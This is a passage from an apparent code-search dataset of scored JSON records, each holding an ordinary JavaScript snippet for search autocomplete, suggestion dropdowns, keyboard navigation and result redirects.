input\n\t\t$(\"#header-inputs-start\").val(selectedText);\n\t}\n\telse { //false means that the input was the end input\n\t\t$(\"#header-inputs-end\").val(selectedText);\n\t}\n\n\t//hides the suggestions window\n\t$(\"#suggestions\").css(\"visibility\", \"hidden\");\n}", "title": "" }, { "docid": "d01419e71067a916038cc68f97d333a8", "score": "0.601439", "text": "function selectSuggestion(selectedSuggestion) {\n if (selectedSuggestion !== currentlySelectedSuggestion) {\n var suggestion = ssSuggestions.find('li').filter(function(index) { return Evergage.cashDom(this).text() === selectedSuggestion; });\n ssSuggestions.find('li').attr('class', '');\n suggestion.attr('class', 'selected');\n currentlySelectedSuggestion = selectedSuggestion;\n load(selectedSuggestion);\n }\n }", "title": "" }, { "docid": "fed85f8fc99523b119f68b5f09d29521", "score": "0.5990859", "text": "function querySelected() {\n if ($('#city').val() && $('#city').val() != '')\n vm.query.location = $('#city').val().split(',')[0];\n UserService.back.push('');\n $location.url(\"/results/\" + vm.query.location + '/' + vm.selected);\n }", "title": "" }, { "docid": "42bcab3452212b07259d00ce52e68455", "score": "0.5987157", "text": "redirectToItem({state}) {\n if(state.selectedItemPosition === -1) return;\n\n let currentSelectedItem = state.autoCompleteResultsArray[state.selectedItemPosition];\n let url = '';\n\n if(currentSelectedItem.url_path) {\n url = currentSelectedItem.url_path;\n } else {\n url = currentSelectedItem.url_pds;\n }\n\n ctx.app.router.push('/' + url);\n }", "title": "" }, { "docid": "d7dfa9dcce44ba2f607886896b956546", "score": "0.5986833", "text": "function searchBox() {\n if (textLength() === 'Pick One:' || textLength() === \"\") { \n window.location.href = \"/\";\n } else {\n window.location.href = `/courseOfStudy?courseOfStudy=${text.value}`;\n \n }\n\n}", "title": "" }, { "docid": "45293b5884b9fbe90ab79c22c98c1879", "score": "0.597537", "text": "function lookup(inputString,suggestionbox,suggestionboxlist,url) { \n if((inputString.length == 0) || (!isNaN(inputString))) { \n // Hide the suggestion box. \n $(suggestionbox).hide(); \n } else { //alert(inputString); \n url_action = \"admin-ajax.php\";\n\t\t $.post( url_action , { action:url,buscar:inputString} ,function(data){\t\t\t\t\n\t\t if(data.length >0) { \n $(suggestionbox).show(); \n $(suggestionboxlist).html(data); \t\t\t\t\t\n } \n \t\t\t});\t\t\t\t\n\t\t\t$(suggestionbox).show();\n } \n } // lookup ", "title": "" }, { "docid": "76810f08e6f54cec92bf18f03329f6e5", "score": "0.59717286", "text": "handleSelection(e) {\n\n // clear out the bold JSX from string before putting it in the input\n var value = this.removeHtmlTags(e.target.innerHTML)\n\n // check to see what type of list item was selected ( suggestion / thesaurus || dictionary definitions )\n if (document.activeElement.id === 'suggestion-item') {// a thesaurus suggestion was selected\n // a suggestions / thesaurus list item was selected\n\n // check if the application is in color mode\n if (this.state.mode === 'color') { // COLOR MODE\n\n // set sate css themeColor to the innerHTML of the selection\n this.setState({ themeColor: value })\n\n }\n else { // Dictionary Mode\n\n // lookup word in the dictionary and display results\n this.dictionaryLookup(value)\n\n }\n\n // set focus to input\n document.getElementById('typeahead-input').focus()\n\n // set listed item innerHTML to state / input value\n this.setState({ value })\n\n }\n else if (document.activeElement.id === 'dictionary-item') { // a dictionary definition was selected\n\n // correspond the selection with the index for tab and arrow keys by saving activeElement's index to state\n var elementIndex = this.getList().indexOf(document.activeElement)\n\n // set the index in the state\n this.setState({ elementIndex })\n \n }\n\n // clear suggestions \n this.setState({ suggestions: [] })\n\n }", "title": "" }, { "docid": "ed81af1a6e2d41de8fd10c69e2eec9da", "score": "0.5956508", "text": "onSelectHandler(event) {\n this.$.paperAutocompleteSuggestions._onSelect(event);\n }", "title": "" }, { "docid": "5c8f1ca123dee9d4539ed26215c28375", "score": "0.59295213", "text": "function optionChanged(selection){\n makePage(selection);\n}", "title": "" }, { "docid": "b2539a5cbe70204a07e72377d049072f", "score": "0.59195113", "text": "function handleSelection(e){\n let index = parseInt(e.target.getAttribute('data-value'));\n\n //if I previously ordered by 'most recent' then I sort the next order by ASC\n if(queryData.orderBy === \"date_created\"){\n queryData.sort = \"ASC\";\n }\n queryData.orderBy=orderByOptions[index].value;\n\n //update url\n let queryString = createQueryStringFromObject(queryData);\n history.push(queryString);\n }", "title": "" }, { "docid": "d714fcdba6d0dfd865c8958789d35f36", "score": "0.5911803", "text": "function submitOnEnterKey(){\n\n if($(currentRowId).id != 'suggestionroot')\n {\n document.location.href = $(currentRowId).down('A').href;\n }\n else\n {\n document.textsearch.submit();\n }\n \n}", "title": "" }, { "docid": "4b9d0535e9004f20b08604e31bb92816", "score": "0.5891749", "text": "function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem && selectedItem.row != null) {\n console.log(selectedItem);\n var format = formatProportionsData.getValue(selectedItem.row, 0);\n console.log(format);\n var term = formatProportionsData.getColumnLabel(selectedItem.column);\n console.log(term);\n var searchroot = getSearchRoot(format);\n var locurl = searchroot + term;\n window.open(locurl,'_formatsearch');\n }\n }", "title": "" }, { "docid": "279600466abe1492f89e25001f0999c9", "score": "0.5881157", "text": "function handleListOptionSelection(err, selection) {\n switch (selection.input) {\n case \"search\":\n initiateSearchPrompt();\n break;\n case \"exit\":\n console.log(\"Goodbye\");\n break;\n default:\n const index = parseInt(selection.input);\n if (bookList[index - 1]) {\n //removeBookFromList(index - 1); //Removed as the instructions asked us to not include additional features in the applicaton\n } else {\n initiateListOptionsPrompt();\n }\n break;\n }\n}", "title": "" }, { "docid": "fd765b0cc7898c6906f9c5533f44f9d5", "score": "0.58480203", "text": "function selectHandler() {\r\n\r\n\t\t\t//get lat/lng from FT\r\n\t\t\t\tvar selection = table.getSelection();\r\n\t\t\t\tvar namer = datatable.getValue(selection[0].row, 0);\r\n\t\t\t\tvar closeDate = datatable.getValue(selection[0].row, 1);\r\n\t\t\t\tvar location = datatable.getValue(selection[0].row, 2);\r\n\t\t\t\tvar purchaser = datatable.getValue(selection[0].row, 3);\r\n\t\t\t\tvar info = datatable.getValue(selection[0].row, 4);\r\n\r\n\t\t\tinfoWindowContent = (\r\n\t\t\t'<p><strong>Bank Name: </strong>' + namer + '</p>' +\r\n\t\t\t'<p><strong>Closing Date: </strong>' + closeDate + '</p>' +\r\n\t\t\t'<p><strong>Location: </strong>' + location + '</p>' +\r\n\t\t\t'<p><strong>Purchased By: </strong>' + purchaser + '</p>' +\r\n\t\t\t'<p><a href=\"' + info + '\" target=\"_blank\">Information</a></p>');\r\n\r\n\t\t\t//geocode the address\r\n\t\t\tgeocoder.geocode({ 'address': location }, generateInfoWindow);\r\n\t\t}", "title": "" }, { "docid": "a4bda9e858d4a0988c7725859851b0b5", "score": "0.5843358", "text": "function optionRedirect() {\n pickedCourse = text.value;\n // alert(pickedCourse);\n\n switch (pickedCourse) {\n case \"Aerospace Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Agricultural Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Chemical Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Civil Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Computer Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break; \n case \"Electrical and Electronics Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Industrial Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Materials Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Mechanical Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break; \n case \"Mining Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break; \n case \"Nuclear Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n case \"Petroleum and Gas Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break; \n case \"Systems Engineering\":\n window.location.href = `/courseOfStudy?courseOfStudy=${textLength()}`;\n break;\n default:\n window.location.href = '/';\n break;\n }\n}", "title": "" }, { "docid": "3a445c76d0b29816aba4ebd8fb23b2c9", "score": "0.5838099", "text": "autoCompleteSubmit (selectedValue) {\n\n\t\t/**\n\t\t * Setting a state of 'renderNext' to be true forces the layout to change\n\t\t * to the personal details page.\n\t\t */\n\t\t\n\t\tif(selectedValue.length > 0){\n\t\t\tthis.setState({ \n\t\t\t\tvisiting: selectedValue,\n\t\t\t\tautoCompleteError: false,\n\t\t\t\trenderNext: true,\n\t\t\t}) \n\t\t}else{\n\t\t\tthis.setState({ \n\t\t\t\tautoCompleteError: true\n\t\t\t}) \n\t\t}\n\n\t}", "title": "" }, { "docid": "9ccbd176ad9cb1b268867b4932e2f040", "score": "0.57874405", "text": "function suggestFetch() {\n\tvar searchBox = document.getElementById('site-search-input');\n\tvar suggestions = document.getElementById('site-search-results-dropdown');\n\tif(searchBox.value.length > 2) {\n\t\tvar xhttp = new XMLHttpRequest();\n\t\txhttp.onreadystatechange = function() {\n\t\t\tif (xhttp.readyState == 4) {\n\t\t\t\tif(xhttp.status == 200) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar object = JSON.parse(xhttp.responseText);\n\t\t\t\t\t\tvar itemsArr = object['items'];\n\t\t\t\t\t\tif(itemsArr) {\n\t\t\t\t\t\t\tvar suggestionsHTML = '';\n\t\t\t\t\t\t\tvar loopLength = itemsArr.length >= 8 ? 8 : itemsArr.length;\n\t\t\t\t\t\t\tfor(var i = 0; i < loopLength; i++) {\n\t\t\t\t\t\t\t\tvar url;\n\t\t\t\t\t\t\t\tvar target;\n\t\t\t\t\t\t\t\tif(itemsArr[i]['type'] == 'resource') {\n\t\t\t\t\t\t\t\t\turl = itemsArr[i]['url_name'];\n\t\t\t\t\t\t\t\t\ttarget = '_blank';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if(itemsArr[i]['type'] == 'app' && !itemsArr[i]['url_name']) {\n\t\t\t\t\t\t\t\t\turl = itemsArr[i]['store_url_android'];\n\t\t\t\t\t\t\t\t\ttarget = '_blank';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\turl = '/' + itemsArr[i]['type'] + '/' + itemsArr[i]['url_name'];\n\t\t\t\t\t\t\t\t\ttarget = '_self';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// Create the suggestion\n\t\t\t\t\t\t\t\tvar suggestion = document.createElement(\"li\");\n\t\t\t\t\t\t\t\tsuggestion.classList.add('header-dropdown-item');\n\t\t\t\t\t\t\t\tsuggestion.onmouseover = function() { addSelected(this) };\n\t\t\t\t\t\t\t\tsuggestion.onmouseout = function() { this.classList.remove('header-dropdown-item-selected'); };\n\t\t\t\t\t\t\t\tvar suggestionLink = document.createElement(\"a\");\n\t\t\t\t\t\t\t\tsuggestionLink.setAttribute(\"href\", url);\n\t\t\t\t\t\t\t\tsuggestionLink.setAttribute(\"target\", target);\n\t\t\t\t\t\t\t\tif( itemsArr[i]['type'] == 'resource' ) {\n\t\t\t\t\t\t\t\t\tsuggestionLink.onclick = function() { logInteraction('resource', this.getAttribute('href')); };\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// Apps that go straight to the app store\n\t\t\t\t\t\t\t\telse if( itemsArr[i]['type'] == 'app' && !itemsArr[i]['url_name'] ) {\n\t\t\t\t\t\t\t\t\tsuggestionLink.onclick = function() { logInteraction('app', this.getAttribute('href')); };\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tsuggestionLink.classList.add('header-dropdown-item-text');\n\t\t\t\t\t\t\t\tsuggestionLink.innerHTML = itemsArr[i]['title'] + ' <span class=\\\"header-dropdown-item-type\\\">' + itemsArr[i]['type'] + '</span>';\n\t\t\t\t\t\t\t\tsuggestion.appendChild(suggestionLink);\n\t\t\t\t\t\t\t\tsuggestions.appendChild(suggestion);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//suggestions.innerHTML = suggestionsHTML;\n\t\t\t\t\t\t\tsuggestions.style.display = 'block';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch(e) {\n\t\t\t\t\t\t// OK\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t//OK\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\txhttp.open('GET', '/ws/site_search.php?search=' + searchBox.value, true);\n\t\txhttp.send();\n\t}\n}", "title": "" }, { "docid": "99445f4d634b5aea8a2a9cdeaaf5228d", "score": "0.5771565", "text": "function LUS_autoNavigate()\n{ \n // First check the resulting list box, if it's empty, do nothing & skip\n if (document.forms[this.formName][this.searchResultListName].options[0] == null)\n { \n \treturn;\n }\n \n var str = document.forms[this.formName][this.searchTxtEntryName].value.replace('^\\\\s*', '');\n str = str.replace(/[\\\\*\\[\\]+()]/g, \"\");\n\n // Specify \"i\" to allow case insensitive\n pattern = new RegExp(\"^\" + str, \"i\");\n\n for (var i=0; i < this.searchResultListEntries.length; i++)\n { \n // Does the result item entry match the user input quick selection text ?\n if (pattern.test(this.searchResultListEntries[i].text))\n {\n // Yes, scroll to the matched item entry but not select it\n document.forms[this.formName][this.searchResultListName].options[i].selected = true;\n document.forms[this.formName][this.searchResultListName].selectedIndex = -1;\n return;\n }\n }\n}", "title": "" }, { "docid": "79011dd20db092efde02988c6e4108a6", "score": "0.5752749", "text": "function handleResponseAutoCompleter()\n{\n var output='';\n if(http.readyState==4)\n {\n var suggestions = eval(http.responseText);\t\n var i = 0;\n\n var query=document.getElementById(\"query\").value;\n var lastBlankPos=query.lastIndexOf(' ');\n if(query.length>lastBlankPos+1)\n {\n query=query.substr(0, lastBlankPos+1);\n }\n else\n {\n query=\"\";\n }\n\n for(var suggestion in suggestions)\n {\n var sugg = suggestions[suggestion]; \n if(sugg != \"\")\n {\n output += '<div onmouseover=\"suggestOverMouse(this)\" onmouseout=\"suggestOut(this)\" onmousedown=\"setSuggestion(\\'' + query + ' ' + sugg + '\\')\" id=\"'+i+'\" class=\"suggest_link\">'\n + query + ' ' + sugg\n + '</div>';\n }\n i++;\n }\n selectedSuggestion = '';\n numSuggestions = i;\n }\n document.getElementById(\"suggestion\").innerHTML=output;\n if (i > 0) {\n document.getElementById(\"suggestion\").style.visibility=\"visible\";\n } else {\n document.getElementById(\"suggestion\").style.visibility=\"hidden\";\n }\n}", "title": "" }, { "docid": "4d6998a47d08044d110999a93964c12a", "score": "0.57523394", "text": "function handleResults(e) {\n e.preventDefault()\n history.push('/List')\n }", "title": "" }, { "docid": "84b94abb4b8e3699b0c326f4a25a6034", "score": "0.5751688", "text": "async function sendForSuggestion(text) {\n\t\tvar mainDiv = document.getElementById(\"suggestion\");\n\t\tlet data = await jsonp(\"http://suggestqueries.google.com/complete/search?client=firefox&q=\"+text);\n\t\tif (data == null || data == undefined){\t \n\t\t}else{\n\t\t\tdatalist = data[1];\n\t\t\tmainDiv.innerHTML = \"\";\n\t\t for (const [key, value] of Object.entries(datalist)) {\n\t\t\t\tvar li = document.createElement('li');\n\t\t\t\tli.innerText = value;\n\t\t\t\tli.setAttribute('id', key+\"_search\");\n\t\t\t\tli.addEventListener('click', () => {serTextValue(key+\"_search\")});\n\t\t\t\tmainDiv.appendChild(li);\n\t\t\t} \n\t\t}\n\t}", "title": "" }, { "docid": "0f8d1d160e272e73458c23ce260a47dc", "score": "0.57288915", "text": "function updateSuggestions() {\n var suggestions = [\n ['undefined']\n ];\n /*var selectedAgent = window.location.hash.substr(1);*/\n var parameters = location.search.substring(1).split(\"&\");\n var temp = parameters[0].split(\"=\");\n selectedAgent = unescape(temp[1]);\n\n h.get(\"./agents/\" + selectedAgent + \"/code\").then(function(resp) {\n autocomplete(document.getElementById(\"inputcmd\"), JSON.parse(resp));\n });\n}", "title": "" }, { "docid": "d0a111eb98500e7843423ead3761f9c3", "score": "0.5716643", "text": "onUserSelected(event, data) {\n this.props.dispatch(push('/u/' + data.suggestion.username));\n }", "title": "" }, { "docid": "e002a225ced6fb4fce9b5eb7b5a24323", "score": "0.57149726", "text": "function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem && selectedItem.row != null) {\n console.log(selectedItem);\n var century = centuryProportionsData.getValue(selectedItem.row, 0);\n var term = centuryProportionsData.getColumnLabel(selectedItem.column);\n var centurysearchpart = century.replace(\" to \", \"/\");\n console.log(centurysearchpart);\n var searchroot = \"https://www.loc.gov/search/?dates=\"\n var locurl = searchroot + centurysearchpart + \"&q=\" + term;\n window.open(locurl,'_datesearch');\n }\n }", "title": "" }, { "docid": "b1e90c2c206e47836871afe333b5e749", "score": "0.5703072", "text": "onSelect(event, { itemIndex }) {\n\t\tconst newValue = this.state.suggestions[itemIndex];\n\t\tthis.updateValue(event, newValue, true);\n\t}", "title": "" }, { "docid": "cbb102f47a9baa1add9516053533995c", "score": "0.5698335", "text": "function searchAction(){\n\t//user selected prediction\n\tvar currentSelected = $(\".city-autocomplete div\")[positionIndex];\n\tvar autoText = $(currentSelected).text();\n\n\t//set user selection to text filed\n\t$(\"#searchTextField\").val(autoText);\n\n\tif(isLogin) saveCity(autoText);\n\n\tsearchCity(autoText);\n}", "title": "" }, { "docid": "28507bea67ddda10f218e2ebfada64fe", "score": "0.5692837", "text": "function onSelectorChanged() {\n // blank out the currently displayed details\n blankOutDetails(true);\n\n // reset the current matches\n vm.currentMatches(0);\n\n //cancelSubscriptions();\n\n // branching if empty string\n if (selectValue === \"\") {\n ab.log(\"select empty\");\n updateSuggestions({ \"display\": false, \"items\": [] });\n vm.selectorEmpty(true);\n return;\n }\n else {\n vm.selectorEmpty(false);\n }\n\n // empty the suggestions list\n updateSuggestions({ \"items\": [] });\n\n // send request for suggestions to DB\n var offset = 0; // fresh set, so get from the start\n\n var set = {};\n //set.after = offset;\n set.after = 0; // hard-coded for now, FIXME\n set.limit = limit + 1;\n\n // filter any occurences of ',' from the selectValue\n // so that e.g. \"einstein, albert\" is equivalent to \"einstein albert\",\n // which the back-end uses as the searchable string\n if (selectValue.indexOf(',') !== -1) {\n var split = selectValue.split(',');\n var united = \"\";\n for (var i = 0; i < split.length; i++) {\n united += split[i];\n }\n selectValue = united;\n ab.log(\"United\", selectValue);\n }\n\n //ab.log(\"ssent\", selectValue, set);\n session.call(\"api:search\", selectValue, set).then(onNewSuggestions, ab.log);\n\n // in parallel: persons count for current string\n session.call(\"api:count\", selectValue).then(function(count) {\n vm.currentMatches(count);\n }, ab.log);\n\n //session.call(\"api:get-autocomplete-suggestions\", selectField, selectValue, offset, limit + 1).then(onNewSuggestions, ab.log);\n\n // increase requests counter\n vm.requestsForAutocompleteSuggestions(vm.requestsForAutocompleteSuggestions() + 1);\n}", "title": "" }, { "docid": "ea3669b59e0492765e1c073d0663a768", "score": "0.56899315", "text": "function onChangeHandler(e){\n setValue(e.target.value);\n Axios.post('http://localhost:8000/api/data/suggestions', {search: e.target.value})\n .then(result =>{\n setItems(result.data);\n })\n .catch(err =>{\n console.log(err);\n })\n }", "title": "" }, { "docid": "cb37811d8d6b3bc495d8e6a2e553217e", "score": "0.56880975", "text": "function catchSuggestionList(id, type, value){\n\tvar dropdown = id +'_dropdown';\n\tcatchEventId(id, type, value );\n}", "title": "" }, { "docid": "f3d84ccd8c79e9945bf65ff354448a36", "score": "0.568542", "text": "function bind_selection_result(elem) {\n elem.result(function(event, data, slot_zero) {\n $('#site_search_form').submit();\n }); \n }", "title": "" }, { "docid": "2340a42d6e47bec99ab065704ef33df3", "score": "0.5665804", "text": "function keypressAutocompleteHandler1( event, id )\n{\n\t\n\tvar sender = getEventSender(event);\n\tvar dropdown = getDropDownControlOf( sender );\n\t\n\t//selected Item Index --> -1 means nothing is selected\n\tvar selItem = dropdown.selectedItem;\n\tif(selItem == null)\n\t\tselItem = -1;\n\tvar items = getDropDownItems( dropdown );\n\n\tdebugln(\"found \"+items.length+\" items\");\n\t\n\t// was a key of interest pressed? --> navigation key\n\tswitch(event.keyCode) {\n\tcase 13: \t// ENTER\n\t\t\t\t\n\t\t\t\t//if nothing is selected --> ENTER goes to the backend\n\t\t\t\tif (selItem == -1) \n\t\t\t\t\tcatchEventId(id,12,$(id+'.input').value);\n\t\t\t\t//if there is a selection --> autocomplete is triggered\n\t\t\t\tsetDropdownVisibility( dropdown, false, \"250\" );\n\t\t\t\tbreak;\n\tcase 9:\t// TAB - text autocompletion with selected element in suggestion list\n\t\t\t\t//if there is no element in suggestion list --> return\n\t\t\t\tif (items.length == 0)\n\t\t\t\t\treturn;\n\t\t\t\t//if there is no selection, use the first one\n\t\t\t\tif(selItem == -1)\n\t\t\t\t\tselItem = 0;\n\t\t\t\tselectItem(items, selItem);\n\t\t\t\tsetDropdownVisibility( dropdown, false, \"250\" );\n\t\t\t\tbreak;\n\tcase 37:\t// CURSOR LEFT\n\t\t\t\tbreak;\n\tcase 38:\t// CURSOR UP - select previous element in suggestion list\n\t\t\t\t//if there is no element in suggestion list --> return\n\t\t\t\tif(items.length == 0)\n\t\t\t\t\treturn;\n\t\t\t\t//decrease current item index\n\t\t\t\tselItem--;\n\t\t\t\t\n\t\t\t\t//if selectedItemIndex is not within range (smaller than zero and items are there, set it to last element)\n\t\t\t\tif(selItem < 0)\n\t\t\t\t\tselItem = items.length - 1;\n\n\t\t\t\tdropdown.selectedItem = selItem;\n\t\t\t\tselectDropDownItem(items, selItem);\n\t\t\t\tensureItemVisible(dropdown, items, selItem);\n\t\t\t\tcatchEventId(id,11,selItem);\n\t\t\t\tbreak;\n\tcase 39:\t// CURSOR RIGHT\n\t\t\t\tbreak;\n\tcase 40:\t// CURSOR DOWN - select next element in suggestion list\n\t\t\t\t//if there is no element in suggestion list --> return\n\t\t\t\tif(items.length == 0)\n\t\t\t\t\treturn;\n\t\t\t\t//increase current item index\n\t\t\t\tselItem++;\n\t\t\t\t\n\t\t\t\t//if selectedItemIndex is smaller than 0 or are big than the itemsList set it to zero\n\t\t\t\t//TODO use modulo to be in range\n\t\t\t\tif(selItem >= items.length || selItem < 0)\n\t\t\t\t\tselItem = 0;\n\t\t\t\t\n\t\t\t\tdropdown.selectedItem = selItem;\n\t\t\t\tselectDropDownItem(items, selItem);\n\t\t\t\tensureItemVisible(dropdown, items, selItem);\n\t\t\t\tcatchEventId(id,11,selItem);\n\t\t\t\tbreak;\n\t}\n}", "title": "" }, { "docid": "cb6a0311781e0db3290e4c2958e947e8", "score": "0.566353", "text": "function lookupResult() {\n var value = $(\"#search-results option:selected\").attr(\"id\");\n if (value !== undefined) {\n loadResult();\n displayResultInfo(value);\n } else {\n alert(\"Please select a document to look-up\");\n }\n}", "title": "" }, { "docid": "efba8cb19bf8aa6e5246835667140fa9", "score": "0.5647112", "text": "handleSubmit () {\n if (this.state.value) {\n window.location.href = `/results?q=${this.state.value}&categs=${this.state.categories}&related_words=${this.state.usedRelatedWords}`;\n }\n }", "title": "" }, { "docid": "42bd8be904baf20c24f6d38c78646729", "score": "0.56386214", "text": "function handleSelection() {\n}", "title": "" }, { "docid": "21c5e1a0792054511b02708129eed9a2", "score": "0.56220573", "text": "function suggestionsHandler(port, msg) {\n //get suggestions\n if (msg.type === 'get') {\n //has search val\n if (msg.searchVal) {\n searchSuggestions.getResults(msg.searchVal).then(function (data) {\n var howMany = msg.howMany || defaultMaxSuggestions;\n var returnResults = _.first(data, howMany);\n var postObj = {\n searchResults: returnResults\n };\n port.postMessage(postObj);\n });\n }\n } else if (msg.type === 'init') {\n if (msg.params) {\n searchSuggestions.init(msg.params);\n }\n }\n }", "title": "" }, { "docid": "70bfb24b954be8e23769261ddf261293", "score": "0.56192017", "text": "selectOnClick(e) {\n e && e.preventDefault();\n\n let selectedItem = this.state.searchResults.find((result) => {\n return result.id === this.state.selectedResultId;\n })\n\n // Pass the selected item up to our parent component\n this.props.onSelect(selectedItem);\n }", "title": "" }, { "docid": "c9073fc2b238410f9ca4dfafb192281b", "score": "0.5614264", "text": "function success_handler(data, textStatus, jqXHR) {\n\t\t\t\ttry {\n\t\t\t\t\tif (settings.success(data, textStatus, jqXHR)) {\n\t\t\t\t\t\t// store resultset\n\t\t\t\t\t\tsuggested.push(value);\n\t\t\t\t\t\tsuggestions[value] = data;\n\n\t\t\t\t\t\tif (data.length < settings.limit) {\n\t\t\t\t\t\t\tcomplete.push(value);\n\t\t\t\t\t\t\tdataset[value] = data;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tshow_suggestions(self, data, value, settings);\n\t\t\t\t\t}\n\t\t\t\t} catch (error) {\n\t\t\t\t\tconsole.log(error);\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "c7b0506c836368da4a3e9cf5674a25f6", "score": "0.56018513", "text": "function go() {\r\n common.$location.search.text = vm.searchText;\r\n common.$location.path('/els/');\r\n }", "title": "" }, { "docid": "b291ad25b3ba25d8b383aaa6214db9d8", "score": "0.5582421", "text": "function handleKeyDown(e) {\n if (e.keyCode === 38 && selected > 0) {\n setSelected(selected - 1);\n } else if (e.keyCode === 40 && selected < suggestions.length - 1) {\n setSelected(selected + 1);\n } else if (e.keyCode === 13) {\n e.preventDefault();\n const key = selected === -1 ? userInput : suggestions[selected].name;\n handleSuggestionSearch(key);\n } else {\n setSelected(-1);\n }\n }", "title": "" }, { "docid": "13add7173d63ac4aa38fa0cb96a3c53e", "score": "0.5577835", "text": "handleDropdownOpenRequest() {\n // Log lookup activation.\n log(LOGGING_CONSTANTS.LOG_EVENT_CLICK, LOGGING_CONSTANTS.LOG_SCOPE_INPUT_LOOKUP_DESKTOP, LOGGING_CONSTANTS.LOG_TARGET_INPUT, {\n scopeName: this._metadataManager.targetApiName\n });\n\n this._lookupPerformanceLogger.startTransaction(); // Show MRU items only if user has not typed any inputText.\n\n\n if (!this.inputText.length) {\n this.updateTerm('');\n }\n }", "title": "" }, { "docid": "7e73f8fe76e227ab551ced71f7cbb867", "score": "0.556246", "text": "function categorySelectChangeHandler(event) {\n addParameterToUrl('category', event.target.value);\n searchRequest();\n }", "title": "" }, { "docid": "c4d534816adea7cf899b2cf7c34f39b1", "score": "0.555358", "text": "function search()\n{\n // collect user values\n var term = document.getElementById(\"search_box\").value;\n var searchValue=document.getElementById(\"list\").value;\n\n\n // visit result page\n window.location.href = \"/\" + searchValue + \"/\" + term +\".html\";\n}", "title": "" }, { "docid": "05a24018c7ab55ecee0c9eac542932dd", "score": "0.5546118", "text": "function doneTyping() {\n let serach = $('#search input').val();\n list_options(1, localStorage.getItem('qt_result_pg_list_options'), serach);\n}", "title": "" }, { "docid": "16bd30ed95de57f375761a56a57e8262", "score": "0.5534296", "text": "function lookupWordBySelecton(e) {\r\n // 0 : No button is pressed\r\n // 1 : left button is pressed\r\n // 2 : right button is pressed\r\n // 3 : Left and right buttons are both pressed\r\n // more information can be detailed from 'http://hi.baidu.com/iiswuren/blog/item/a757abad65a8fc0f4b36d696.html'\r\n if (e.button == 2) return;\r\n\r\n var sel = window.getSelection();\r\n var selText = sel + \"\";\r\n\r\n if (selText == '' || (selText.match(/[^\\x00-\\xff]/ig)) || !(selText.match(/[a-zA-z]/ig))) return;\r\n\r\n GM_log(\"Selected word is \" + selText);\r\n\r\n // Initialize word dispalyed area.\r\n initDisplayAreaForSelection();\r\n\r\n GM_log('Encode text: ' + encodeURI(selText));\r\n // Get translated result from Google Translate.\r\n // Currently, only supports English to Chinese\r\n translate(selText);\r\n // Remove the selected ranges.\r\n sel.removeAllRanges();\r\n}", "title": "" }, { "docid": "2c2b035c1730582fcf9c7a2d569cb26b", "score": "0.55251044", "text": "function setupLandingPage() {\n\t// only invoke this function, if we are on the landing page\n\tif (!$('#landing-page')) {\n\t\treturn;\n\t}\n\n\tloadMoods().then(function() {\n\t\tconst exampleMood = getRandom(state.moods, 1)[0];\n\t\tif (exampleMood) {\n\t\t\t$('#input-search').attr('placeholder', 'Try \"' + exampleMood + '\"');\n\t\t}\n\t\taddExploreMoodsView();\n\t});\n\n\t$('#input-search').on('keyup', updateDropdownView); \n\t$('#input-search-button').on('click', triggerQuery); \n\n\t$('#exploreMoodsContainer').on('click', '.mood-btn', moodButtonClicked);\n\n\t// setup autocomplete suggestion view\n\t$('#autoCompleteContainer').on('mouseleave', '.autocomplete-suggestion', function (){\n\t\t$('.autocomplete-suggestion.selected').removeClass('selected');\n\t});\n\n\t$('#autoCompleteContainer').on('mouseenter', '.autocomplete-suggestion', function (){\n\t\t$('.autocomplete-suggestion.selected').removeClass('selected');\n\t\t$(this).addClass('selected');\n\t});\n\n\t$('#autoCompleteContainer').on('mousedown click', '.autocomplete-suggestion', function (e) {\n\t\tvar item = $(this), v = item.attr('value');\n\t\tif (v || item.hasClass('autocomplete-suggestion')) { // else outside click\n\t\t\tstate.selectedMood = v;\n\t\t\t$('#input-search').val(v);\n\t\t\t$('.autocomplete-suggestion.selected').removeClass('selected');\n\t\t\t$(this).addClass('selected');\n\t\t\thideDropdown();\n\t\t\ttriggerQuery();\n\t\t}\n\t\treturn false;\n\t});\n\n\t$('#searchInputDropDown').on('keydown.autocomplete', function (e){\n\t\tif (e.key == 'ArrowUp' || e.key == 'ArrowDown') {\n\t\t\te.preventDefault();\n\n\t\t\tlet current = $('#searchInputDropDownMenu .autocomplete-suggestion.selected').first();\n\n\t\t\tif (!current.length) {\n\t\t\t\tcurrent = $('#searchInputDropDownMenu .autocomplete-suggestion').first();\n\t\t\t}\n\n\t\t\tif (!current.length) {\n\t\t\t\t// no suggestions available\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tlet next = 